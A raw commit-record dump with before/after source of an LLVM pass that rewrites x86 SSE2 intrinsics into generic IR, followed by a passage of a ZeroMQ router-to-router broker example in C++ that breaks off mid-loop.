ReplaceInstWithValue(BB.getInstList(), InstItr, sel);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n          if (func->getName() == \"llvm.x86.sse2.cmp.pd\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            errs() << \"\\n*****v0:\" << *v0 << \"*******\\n\";\n            errs() << \"\\n*****v1:\" << *v1 << \"*******\\n\";\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%comp = fcmp ult(%v0, %v1);\n            \/\/%result = uitofp(%comp, <2 x double>);\n            Value *comp = builder.CreateFCmpULT(v0, v1);\n            Value *result = builder.CreateUIToFP(comp, VectorType::get(Type::getDoubleTy(context), 2));\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n\n          if (func->getName() == \"llvm.x86.sse2.pmulu.dq\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n\n            IRBuilder<> builder(call);\n            \/\/%m0 = bitcast %v0 to <2 x i64>\n            \/\/%m1 = bitcast %v1 to <2 x i64>\n            \/\/%magic = <2 x i64> <i64 4294967295, i64 4294967295>\n            \/\/%and0 = and %m0, %magic\n            \/\/%and1 = and %m1, %magic\n            \/\/%result = mul %and0, %and1\n            Value *m0 = builder.CreateBitCast(v0, VectorType::get(Type::getInt64Ty(context), 2));\n            Value *m1 = builder.CreateBitCast(v1, VectorType::get(Type::getInt64Ty(context), 2));\n            Value *temp = Constant::getIntegerValue(Type::getInt64Ty(context), llvm::APInt(64, 4294967295, false));\n            Value *magic = builder.CreateVectorSplat(2, temp);\n            Value *and0 = builder.CreateAnd(m0, magic);\n            Value *and1 = builder.CreateAnd(m1, magic); \n            Value *result = builder.CreateMul(and0, and1);\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }          \n\n          if (func->getName() == \"llvm.x86.sse2.packuswb.128\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%m0 = bitcast %v0 to <16 x i8>\n            \/\/%m1 = bitcast %v1 to <16 x i8>\n            \/\/%result = shufflevector <16 x i8> %m0, <16 x i8> %m1, <16 x i32> <i32 0, i32 2, i32 4, i32 6, i32 8, i32 10, i32 12, i32 14, i32 16, i32 18, i32 20, i32 22, i32 24, i32 26, i32 28, i32 30>\n            Value *m0 = builder.CreateBitCast(v0, VectorType::get(Type::getInt8Ty(context), 16));\n            Value *m1 = builder.CreateBitCast(v1, VectorType::get(Type::getInt8Ty(context), 16));\n            Constant * index[16];\n            for (int i = 0; i < 16;i++){\n                index[i] = ConstantInt::get(Type::getInt32Ty(context), 2 * i);\n            }\n            ArrayRef <Constant *> indexref(index,16);\n            Constant * indexVector = ConstantVector::get(indexref);\n\n            Value* result = builder.CreateShuffleVector(m0, m1, indexVector);\n\n            \/\/ Another way to hoist \"llvm.x86.sse2.packuswb.128\" instruction.\n            \/*Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value *high8 = builder.CreateTrunc(v1, VectorType::get(Type::getInt8Ty(context), 8));\n            Value *low8 = builder.CreateTrunc(v0, VectorType::get(Type::getInt8Ty(context), 8));\n\n            Constant * index[16];\n            for (int i = 0; i < 16;i++){\n                index[i] = ConstantInt::get(Type::getInt32Ty(context), i);\n              }\n            ArrayRef <Constant *> indexref(index,16);\n            Constant * indexVector = ConstantVector::get(indexref);\n\n            Value* result = builder.CreateShuffleVector(low8, high8, indexVector);*\/\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }        \n\n          if (func->getName() == \"llvm.x86.sse2.pmovmskb.128\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n      \t\t  BB.dump();\n      \t\t\n          \tValue *v = call->getOperand(0);\n          \tIRBuilder<> builder(call);\n            \/\/%zero = <16 x i8> <i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0>\n            \/\/%comp = icmp slt <16 x i8> %v, <16 x i8> %zero\n            \/\/%result16 = bitcast <8 x i1> %comp to i16\n            \/\/%result = zext i16 %result16 to i32\n            Value *temp = Constant::getIntegerValue(Type::getInt8Ty(context), llvm::APInt(8, 0, false));\n            Value *zero = builder.CreateVectorSplat(16, temp);\n            Value *comp = builder.CreateICmpSLT(v, zero);\n            Value *result16 = builder.CreateBitCast(comp, Type::getInt16Ty(context));\n            Value *result = builder.CreateZExt(result16, Type::getInt32Ty(context));\n\n            \/\/Another way to hoist \"llvm.x86.sse2.pmovmskb.128\" instruction.\n       \t    \/\/build a vector <16 * i8> <i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7>\n          \t\/*Value *seven = Constant::getIntegerValue(Type::getInt8Ty(context), llvm::APInt(8, 7, false));\n            Value *temp = builder.CreateVectorSplat(16, seven);\n          \tValue *msb = builder.CreateLShr(v, temp); \n            errs() << \"\\nmsb:\" << *msb << \"\\n\";         \t\n          \tValue *tmp = builder.CreateTrunc(msb, VectorType::get(Type::getInt1Ty(context), 16));         \t\n          \tValue *result16 = builder.CreateBitCast(tmp, Type::getInt16Ty(context));\n          \tValue *result = builder.CreateZExt(result16, Type::getInt32Ty(context));*\/\n          \tReplaceInstWithValue(BB.getInstList(), InstItr, result);\n          \tmodified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n      \t\t  BB.dump();\n          }\n\n\n\n          if (func->getName() == \"llvm.x86.sse2.psrl.q\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n      \t\t  BB.dump();\n\n            Value *v = call->getOperand(0);\n            Value *count_raw = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value* count = builder.CreateShuffleVector(\n                count_raw,\n                UndefValue::get(count_raw->getType()),\n                ConstantVector::get({\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  })\n                );\n            \/\/ res = lshr v, <count[0], count[0]>\n            Value* newshl = builder.CreateLShr(v, count);\n            ReplaceInstWithValue(BB.getInstList(), InstItr, newshl);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n      \t\t  BB.dump();\n          }\n\n        }\n      }\n\n      return modified;\n    }\n\n    virtual bool doFinalization(Module &) override {\n      \/\/ TODO (low priority)\n      \/\/ Add some function definitions on demand (corresponding to the\n      \/\/ intrinsics used in this module).  And replace intrinsic calls with\n      \/\/ these function calls (making the transformation easier and simpler).\n      \/\/ Concerns: 1. inline. 2. call before declaring. Else?\n      return false;\n    }\n  };\n}\n\nchar IntrinsicHoistingPass::ID = 0;\n\n\/\/ Automatically enable the pass.\n\/\/ http:\/\/adriansampson.net\/blog\/clangpass.html\nstatic void registerIntrinsicHoistingPass(const PassManagerBuilder &,\n    legacy::PassManagerBase &PM) {\n  PM.add(new IntrinsicHoistingPass());\n}\nstatic RegisterStandardPasses\n  RegisterMyPass(\n      PassManagerBuilder::EP_EarlyAsPossible,\n      \/\/ PassManagerBuilder::EP_ModuleOptimizerEarly,\n      \/\/ PassManagerBuilder::EP_LoopOptimizerEnd,\n      \/\/ PassManagerBuilder::EP_ScalarOptimizerLate,\n      \/\/ PassManagerBuilder::EP_OptimizerLast,\n      \/\/ PassManagerBuilder::EP_VectorizerStart,\n      \/\/ PassManagerBuilder::EP_EnabledOnOptLevel0,\n      \/\/ PassManagerBuilder::EP_Peephole,\n      registerIntrinsicHoistingPass\n      );\n<commit_msg>Added files via upload<commit_after>#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/IRBuilder.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/IR\/LegacyPassManager.h\"\n#include \"llvm\/Transforms\/IPO\/PassManagerBuilder.h\"\n\nusing namespace llvm;\n\nnamespace {\n  struct IntrinsicHoistingPass : public FunctionPass {\n    static char ID;\n    IntrinsicHoistingPass() : FunctionPass(ID) {}\n\n    virtual bool doInitialization(Module &M) override {\n      errs() << \"Entering module: \" << M.getModuleIdentifier() << \"\\n\";\n      return false;\n    }\n\n    virtual bool runOnFunction(Function &F) override {\n      bool modified = false;\n        \n      LLVMContext & context = F.getContext();\n\n      errs() << \"Function: \" << F.getName() << \"\\n\";\n      \/\/F.viewCFG();      \/\/ Display CFG of the current function (require Graphviz)\n      for (auto &BB: F) {\n        errs() << \"Entering basic block: \\n\";\n        for (BasicBlock::iterator InstItr = BB.begin(); InstItr != BB.end(); InstItr++) {\n          CallInst * call = dyn_cast<CallInst>(InstItr);\n          if (call == NULL) continue;\n          Function * func = call->getCalledFunction();\n          if (func->getName().startswith(\"llvm.x86\"))\n            errs() << \"Found intrinsic: \" << func->getName() << \"\\n\";\n          else\n            continue;\n\n          \/\/ TODO more intrinsic replacement\n          if (func->getName() == \"llvm.x86.sse2.psll.q\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v = call->getOperand(0);\n            Value *count_raw = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value* count = builder.CreateShuffleVector(\n                count_raw,\n                UndefValue::get(count_raw->getType()),\n                ConstantVector::get({\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  })\n                );\n            \/\/ res = shl v, <count[0], count[0]>\n            Value* newshl = builder.CreateShl(v, count);\n            ReplaceInstWithValue(BB.getInstList(), InstItr, newshl);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n          if (func->getName() == \"llvm.x86.sse2.pavg.w\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/ %sum = add <8 x i16> v0, <8 x i16> v1;\n            \/\/%one = <8 x i16> <i16 1, i16 1, i16 1, i16 1, i16 1, i16 1, i16 1, i16 1>;\n            \/\/%sum1 = add %sum, %one;\n            \/\/%avg = %sum1 >> 1;\n            Value *sum = builder.CreateAdd(v0, v1);\n            Value *temp = Constant::getIntegerValue(Type::getInt16Ty(context), llvm::APInt(16, 1, false));\n            Value *one = builder.CreateVectorSplat(8, temp);\n            Value *sum1 = builder.CreateAdd(sum, one);\n            Value *avg = builder.CreateLShr(sum1, one);\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, avg);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n\n          if (func->getName() == \"llvm.x86.sse2.pmins.w\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%comp = icmp slt <8 x i16> v0, <8 x i16> v1;\n            \/\/%sel = select <8 x i1> comp, <8 x i16> v0, <8 x i16> v1;\n            Value *comp = builder.CreateICmpSLT(v0, v1);\n            Value *sel = builder.CreateSelect(comp, v0, v1);\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, sel);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n          if (func->getName() == \"llvm.x86.sse2.cmp.pd\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            errs() << \"\\n*****v0:\" << *v0 << \"*******\\n\";\n            errs() << \"\\n*****v1:\" << *v1 << \"*******\\n\";\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%comp = fcmp ult(%v0, %v1);\n            \/\/%result = uitofp(%comp, <2 x double>);\n            Value *comp = builder.CreateFCmpULT(v0, v1);\n            Value *result = builder.CreateUIToFP(comp, VectorType::get(Type::getDoubleTy(context), 2));\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n\n          if (func->getName() == \"llvm.x86.sse2.pmulu.dq\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n\n            IRBuilder<> builder(call);\n            \/\/%m0 = bitcast %v0 to <2 x i64>\n            \/\/%m1 = bitcast %v1 to <2 x i64>\n            \/\/%magic = <2 x i64> <i64 4294967295, i64 4294967295>\n            \/\/%and0 = and %m0, %magic\n            \/\/%and1 = and %m1, %magic\n            \/\/%result = mul %and0, %and1\n            Value *m0 = builder.CreateBitCast(v0, VectorType::get(Type::getInt64Ty(context), 2));\n            Value *m1 = builder.CreateBitCast(v1, VectorType::get(Type::getInt64Ty(context), 2));\n            Value *temp = Constant::getIntegerValue(Type::getInt64Ty(context), llvm::APInt(64, 4294967295, false));\n            Value *magic = builder.CreateVectorSplat(2, temp);\n            Value *and0 = builder.CreateAnd(m0, magic);\n            Value *and1 = builder.CreateAnd(m1, magic); \n            Value *result = builder.CreateMul(and0, and1);\n\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }          \n\n          if (func->getName() == \"llvm.x86.sse2.packuswb.128\") {\n            errs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            \/\/%m0 = bitcast %v0 to <16 x i8>\n            \/\/%m1 = bitcast %v1 to <16 x i8>\n            \/\/%result = shufflevector <16 x i8> %m0, <16 x i8> %m1, <16 x i32> <i32 0, i32 2, i32 4, i32 6, i32 8, i32 10, i32 12, i32 14, i32 16, i32 18, i32 20, i32 22, i32 24, i32 26, i32 28, i32 30>\n            Value *m0 = builder.CreateBitCast(v0, VectorType::get(Type::getInt8Ty(context), 16));\n            Value *m1 = builder.CreateBitCast(v1, VectorType::get(Type::getInt8Ty(context), 16));\n            Constant * index[16];\n            for (int i = 0; i < 16;i++){\n                index[i] = ConstantInt::get(Type::getInt32Ty(context), 2 * i);\n            }\n            ArrayRef <Constant *> indexref(index,16);\n            Constant * indexVector = ConstantVector::get(indexref);\n\n            Value* result = builder.CreateShuffleVector(m0, m1, indexVector);\n\n            \/\/ Another way to hoist \"llvm.x86.sse2.packuswb.128\" instruction.\n            \/*Value *v0 = call->getOperand(0);\n            Value *v1 = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value *high8 = builder.CreateTrunc(v1, VectorType::get(Type::getInt8Ty(context), 8));\n            Value *low8 = builder.CreateTrunc(v0, VectorType::get(Type::getInt8Ty(context), 8));\n\n            Constant * index[16];\n            for (int i = 0; i < 16;i++){\n                index[i] = ConstantInt::get(Type::getInt32Ty(context), i);\n              }\n            ArrayRef <Constant *> indexref(index,16);\n            Constant * indexVector = ConstantVector::get(indexref);\n\n            Value* result = builder.CreateShuffleVector(low8, high8, indexVector);*\/\n            ReplaceInstWithValue(BB.getInstList(), InstItr, result);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }        \n\n          if (func->getName() == \"llvm.x86.sse2.pmovmskb.128\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n      \t\t\n          \tValue *v = call->getOperand(0);\n          \tIRBuilder<> builder(call);\n            \/\/%zero = <16 x i8> <i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0, i8 0>\n            \/\/%comp = icmp slt <16 x i8> %v, <16 x i8> %zero\n            \/\/%result16 = bitcast <8 x i1> %comp to i16\n            \/\/%result = zext i16 %result16 to i32\n            Value *temp = Constant::getIntegerValue(Type::getInt8Ty(context), llvm::APInt(8, 0, false));\n            Value *zero = builder.CreateVectorSplat(16, temp);\n            Value *comp = builder.CreateICmpSLT(v, zero);\n            Value *result16 = builder.CreateBitCast(comp, Type::getInt16Ty(context));\n            Value *result = builder.CreateZExt(result16, Type::getInt32Ty(context));\n\n            \/\/Another way to hoist \"llvm.x86.sse2.pmovmskb.128\" instruction.\n       \t    \/\/build a vector <16 * i8> <i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7, i8 7>\n          \t\/*Value *seven = Constant::getIntegerValue(Type::getInt8Ty(context), llvm::APInt(8, 7, false));\n            Value *temp = builder.CreateVectorSplat(16, seven);\n          \tValue *msb = builder.CreateLShr(v, temp); \n            errs() << \"\\nmsb:\" << *msb << \"\\n\";         \t\n          \tValue *tmp = builder.CreateTrunc(msb, VectorType::get(Type::getInt1Ty(context), 16));         \t\n          \tValue *result16 = builder.CreateBitCast(tmp, Type::getInt16Ty(context));\n          \tValue *result = builder.CreateZExt(result16, Type::getInt32Ty(context));*\/\n          \tReplaceInstWithValue(BB.getInstList(), InstItr, result);\n          \tmodified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n\n\n          if (func->getName() == \"llvm.x86.sse2.psrl.q\") {\n          \terrs() << \"ORIGINAL:\\n\\n\";\n            BB.dump();\n\n            Value *v = call->getOperand(0);\n            Value *count_raw = call->getOperand(1);\n            \/\/ Insert before call.\n            IRBuilder<> builder(call);\n            Value* count = builder.CreateShuffleVector(\n                count_raw,\n                UndefValue::get(count_raw->getType()),\n                ConstantVector::get({\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  ConstantInt::get(Type::getInt32Ty(context), 0),\n                  })\n                );\n            \/\/ res = lshr v, <count[0], count[0]>\n            Value* newshl = builder.CreateLShr(v, count);\n            ReplaceInstWithValue(BB.getInstList(), InstItr, newshl);\n            modified = true;\n\n            errs() << \"MODIFIED:\\n\\n\";\n            BB.dump();\n          }\n\n        }\n      }\n\n      return modified;\n    }\n\n    virtual bool doFinalization(Module &) override {\n      \/\/ TODO (low priority)\n      \/\/ Add some function definitions on demand (corresponding to the\n      \/\/ intrinsics used in this module).  And replace intrinsic calls with\n      \/\/ these function calls (making the transformation easier and simpler).\n      \/\/ Concerns: 1. inline. 2. call before declaring. Else?\n      return false;\n    }\n  };\n}\n\nchar IntrinsicHoistingPass::ID = 0;\n\n\/\/ Automatically enable the pass.\n\/\/ http:\/\/adriansampson.net\/blog\/clangpass.html\nstatic void registerIntrinsicHoistingPass(const PassManagerBuilder &,\n    legacy::PassManagerBase &PM) {\n  PM.add(new IntrinsicHoistingPass());\n}\nstatic RegisterStandardPasses\n  RegisterMyPass(\n      PassManagerBuilder::EP_EarlyAsPossible,\n      \/\/ PassManagerBuilder::EP_ModuleOptimizerEarly,\n      \/\/ PassManagerBuilder::EP_LoopOptimizerEnd,\n      \/\/ PassManagerBuilder::EP_ScalarOptimizerLate,\n      \/\/ PassManagerBuilder::EP_OptimizerLast,\n      \/\/ PassManagerBuilder::EP_VectorizerStart,\n      \/\/ PassManagerBuilder::EP_EnabledOnOptLevel0,\n      \/\/ PassManagerBuilder::EP_Peephole,\n      registerIntrinsicHoistingPass\n      );\n<|endoftext|>"}
{"text":"<commit_before>#include <pthread.h>\n#include <stdio.h>\n#include <string>\n#include <vector>\n#include <queue>\n#include \"zmq.hpp\"\n#include \"canna_core.h\"\n\n#define CLIENT_NUM 5\n#define WORKER_NUM 3\n#define WORKER_READY \"READY\"\n\nstatic char *self;\nstatic char *cloud;\n\nstatic void * client_task(void *args)\n{\n    printf(\"client thread start\\n\");\n    zmq::context_t context(1);\n    zmq::socket_t client(context, ZMQ_REQ);\n    char client_ipc[64] = {0};\n    sprintf(client_ipc, \"ipc:\/\/%s-localfe.ipc\", self);\n    client.connect(client_ipc);\n\n    while (true) {\n        canna_send(client, \"HELLO\");\n        std::string reply = canna_recv(client);\n        printf(\"CLIENT: %s\\n\", reply.c_str());\n        \/\/canna_sleep(1000);\n    }\n\n    return nullptr;\n}\n\nstatic void * worker_task(void *args)\n{\n    printf(\"worker thread start\\n\");\n    zmq::context_t context(1);\n    zmq::socket_t worker(context, ZMQ_REQ);\n    char worker_ipc[64] = {0};\n    sprintf(worker_ipc, \"ipc:\/\/%s-localbe.ipc\", self);\n    printf(\"worker task ipc: %s\\n\", worker_ipc);\n    worker.connect(worker_ipc);\n\n    \/\/canna_sleep(1000);\n\n    canna_send(worker, WORKER_READY);\n\n    while (true) {\n        std::string address = canna_recv(worker);\n        std::string empty = canna_recv(worker);\n        std::string reply = canna_recv(worker);\n        printf(\"WORKER: %s\\n\", reply.c_str());\n        canna_sendmore(worker, address);\n        canna_sendmore(worker, \"\");\n        canna_send(worker, reply);\n    }\n\n    return nullptr;\n}\n\nint main(int argc, char **argv)\n{\n    if (argc < 2) {\n        printf(\"usage: peering1 me {you}...\\n\");\n        return 0;\n    }\n    self = argv[1];\n    printf(\"I: preparing broker at: %s\\n\", self);\n\n    zmq::context_t context(1);\n\n    zmq::socket_t cloudfe(context, ZMQ_ROUTER);\n    cloudfe.setsockopt(ZMQ_IDENTITY, self, strlen(self));\n    char cloudfe_ipc[64] = {0};\n    sprintf(cloudfe_ipc, \"ipc:\/\/%s-cloud.ipc\", self);\n    cloudfe.bind(cloudfe_ipc);\n    \n    zmq::socket_t cloudbe(context, ZMQ_ROUTER);\n    cloudbe.setsockopt(ZMQ_IDENTITY, self, strlen(self));\n    for (int i = 2; i < argc; i++) {\n        cloud = argv[i];\n        char *peer = argv[i];\n        char peer_ipc[64] = {0};\n        sprintf(peer_ipc, \"ipc:\/\/%s-cloud.ipc\", peer_ipc);\n        printf(\"I: connecting to cloud frontend at %s \\n\", peer);\n        cloudbe.connect(peer_ipc);\n    }\n\n    zmq::socket_t localfe(context, ZMQ_ROUTER);\n    char localfe_ipc[64] = {0};\n    sprintf(localfe_ipc, \"ipc:\/\/%s-localfe.ipc\", self);\n    localfe.bind(localfe_ipc);\n\n    zmq::socket_t localbe(context, ZMQ_ROUTER);\n    char localbe_ipc[64] = {0};\n    sprintf(localbe_ipc, \"ipc:\/\/%s-localbe.ipc\", self);\n    printf(\"localbe ipc: %s\\n\", localbe_ipc);\n    localbe.bind(localbe_ipc);\n\n    printf(\"Press enter when all broker are started: \");\n    getchar();\n\n    for (int i = 0; i < WORKER_NUM; i++) {\n        pthread_t pid;\n        pthread_create(&pid, nullptr, worker_task, nullptr);\n    }\n\n    for (int i = 0; i < CLIENT_NUM; i++) {\n        pthread_t pid;\n        pthread_create(&pid, nullptr, client_task, nullptr);\n    }\n\n    int capacity = 0;\n    std::queue<std::string> worker_queue;\n\n    zmq::pollitem_t pollset[] = {\n        \/\/{(void *)localbe, 0, ZMQ_POLLIN, 0},\n        {(void *)cloudbe, 0, ZMQ_POLLIN, 0},\n        {(void *)cloudfe, 0, ZMQ_POLLIN, 0}\n    };\n\n    while (true) {\n\n        zmq::poll(pollset, 2, 0);\n\n        \/*\n        if (pollset[0].revents & ZMQ_POLLIN) {\n            std::string work_identity = canna_recv(localbe);\n            std::string empty = canna_recv(localbe);\n            worker_queue.push(work_identity);\n            capacity++;\n            \n            std::string client_addr = canna_recv(localbe);\n            if (client_addr == WORKER_READY) {\n            } else\n            {\n                {\n                    std::string empty = canna_recv(localbe);\n                }\n                std::string reply = canna_recv(localbe);\n                canna_sendmore(localfe, client_addr);\n                canna_sendmore(localfe, \"\");\n                canna_send(localfe, \"SUCCESS\");\n            }\n        }\n        *\/\n\n        if (pollset[0].revents & ZMQ_POLLIN) {\n            printf(\"***********************************************************\\n\");\n            std::string cloud_identity = canna_recv(cloudbe);\n            std::string reply = canna_recv(cloudbe);\n            printf(\"CLOUD INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n            printf(\"***********************************************************\\n\");\n        }\n        if (pollset[1].revents & ZMQ_POLLIN) {\n            printf(\"***********************************************************\\n\");\n            std::string cloud_identity = canna_recv(cloudfe);\n            std::string reply = canna_recv(cloudfe);\n            printf(\"CLOUD INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n            printf(\"***********************************************************\\n\");\n        }\n\n        while (capacity) {\n            zmq::pollitem_t frontends[] = {\n                {(void *)localfe, 0, ZMQ_POLLIN, 0},\n                {(void *)cloudfe, 0, ZMQ_POLLIN, 0}\n            };\n            zmq::poll(frontends, 2, 0);\n            int reroutable = 0;\n            std::string msg;\n            if (frontends[1].revents & ZMQ_POLLIN) {\n                printf(\"***********************************************************\");\n                std::string cloud_identity = canna_recv(cloudfe);\n                std::string reply = canna_recv(cloudfe);\n                printf(\"***********************************************************\");\n                printf(\"CLOUD INFO: %s, %s\\n\", cloud_identity.c_str(), reply.c_str());\n                printf(\"***********************************************************\");\n            }\n            if (frontends[0].revents & ZMQ_POLLIN) {\n                std::string identity = canna_recv(localfe);\n                std::string empty = canna_recv(localfe);\n                std::string reply = canna_recv(localfe);\n                \/\/printf(\"RECV msg: %s from client, capacity: %d\\n\", reply.c_str(), capacity);\n                reroutable = 1;\n            \n                \/\/if (CANNA_RAND(5) == 0) {\n                    printf(\"cloud identity: %s\\n\", cloud);\n                    canna_sendmore(cloudbe, cloud);\n                    canna_send(cloudbe, \"CLOUD\");\n                \/\/} else {\n                    std::string worker_addr = worker_queue.front();\n                    worker_queue.pop();\n                    canna_sendmore(localbe, worker_addr);\n                    canna_sendmore(localbe, \"\");\n                    canna_sendmore(localbe, identity);\n                    canna_sendmore(localbe, \"\");\n                    canna_send(localbe, \"WORLD\");\n                    reroutable--;\n                    capacity--;\n                \/\/}\n            } else {\n                break;\n            }\n\n            \/*\n            if (reroutable) {\n                canna_sendmore(localbe, identity);\n                canna_sendmore(localbe, \"\");\n                canna_send(localbe, \"WORLD\");\n                reroutable--;\n                capacity--;\n            }\n            *\/\n        }\n        printf(\"11111111111111111111111111111111111111111111111111111111111\\n\");\n        canna_sleep(3000);\n        canna_sendmore(cloudbe, cloud);\n        canna_send(cloudbe, \"I come from cloud\");\n        printf(\"22222222222222222222222222222222222222222222222222222222222\\n\\n\");\n    }\n\n    return 0;\n}\n<commit_msg>router to router<commit_after>#include <pthread.h>\n#include <stdio.h>\n#include <string>\n#include <vector>\n#include <queue>\n#include \"zmq.hpp\"\n#include \"canna_core.h\"\n\n#define CLIENT_NUM 5\n#define WORKER_NUM 3\n#define WORKER_READY \"READY\"\n\nstatic char *self;\nstatic char *cloud;\n\nstatic void * client_task(void *args)\n{\n    printf(\"client thread start\\n\");\n    zmq::context_t context(1);\n    zmq::socket_t client(context, ZMQ_REQ);\n    char client_ipc[64] = {0};\n    sprintf(client_ipc, \"ipc:\/\/%s-localfe.ipc\", self);\n    client.connect(client_ipc);\n\n    while (true) {\n        canna_send(client, \"HELLO\");\n        std::string reply = canna_recv(client);\n        printf(\"CLIENT: %s\\n\", reply.c_str());\n        \/\/canna_sleep(1000);\n    }\n\n    return nullptr;\n}\n\nstatic void * worker_task(void *args)\n{\n    printf(\"worker thread start\\n\");\n    zmq::context_t context(1);\n    zmq::socket_t worker(context, ZMQ_REQ);\n    char worker_ipc[64] = {0};\n    sprintf(worker_ipc, \"ipc:\/\/%s-localbe.ipc\", self);\n    printf(\"worker task ipc: %s\\n\", worker_ipc);\n    worker.connect(worker_ipc);\n\n    \/\/canna_sleep(1000);\n\n    canna_send(worker, WORKER_READY);\n\n    while (true) {\n        std::string address = canna_recv(worker);\n        std::string empty = canna_recv(worker);\n        std::string reply = canna_recv(worker);\n        printf(\"WORKER: %s\\n\", reply.c_str());\n        canna_sendmore(worker, address);\n        canna_sendmore(worker, \"\");\n        canna_send(worker, reply);\n    }\n\n    return nullptr;\n}\n\nint main(int argc, char **argv)\n{\n    if (argc < 2) {\n        printf(\"usage: peering1 me {you}...\\n\");\n        return 0;\n    }\n    self = argv[1];\n    printf(\"I: preparing broker at: %s\\n\", self);\n\n    zmq::context_t context(1);\n\n    zmq::socket_t cloudfe(context, ZMQ_ROUTER);\n    cloudfe.setsockopt(ZMQ_IDENTITY, self, strlen(self));\n    char cloudfe_ipc[64] = {0};\n    sprintf(cloudfe_ipc, \"ipc:\/\/%s-cloud.ipc\", self);\n    cloudfe.bind(cloudfe_ipc);\n    \n    zmq::socket_t cloudbe(context, ZMQ_ROUTER);\n    char *cloud_id = new char[strlen(self)+2+1];\n    sprintf(cloud_id, \"%s\", self);\n    cloud_id[strlen(self)] = 'b';\n    cloud_id[strlen(self)+1] = 'e';\n    cloud_id[strlen(self)+2] = '\\0';\n    printf(\"CLOUD IDENTITY: %s\\n\", cloud_id);\n    cloudbe.setsockopt(ZMQ_IDENTITY, cloud_id, strlen(cloud_id));\n    for (int i = 2; i < argc; i++) 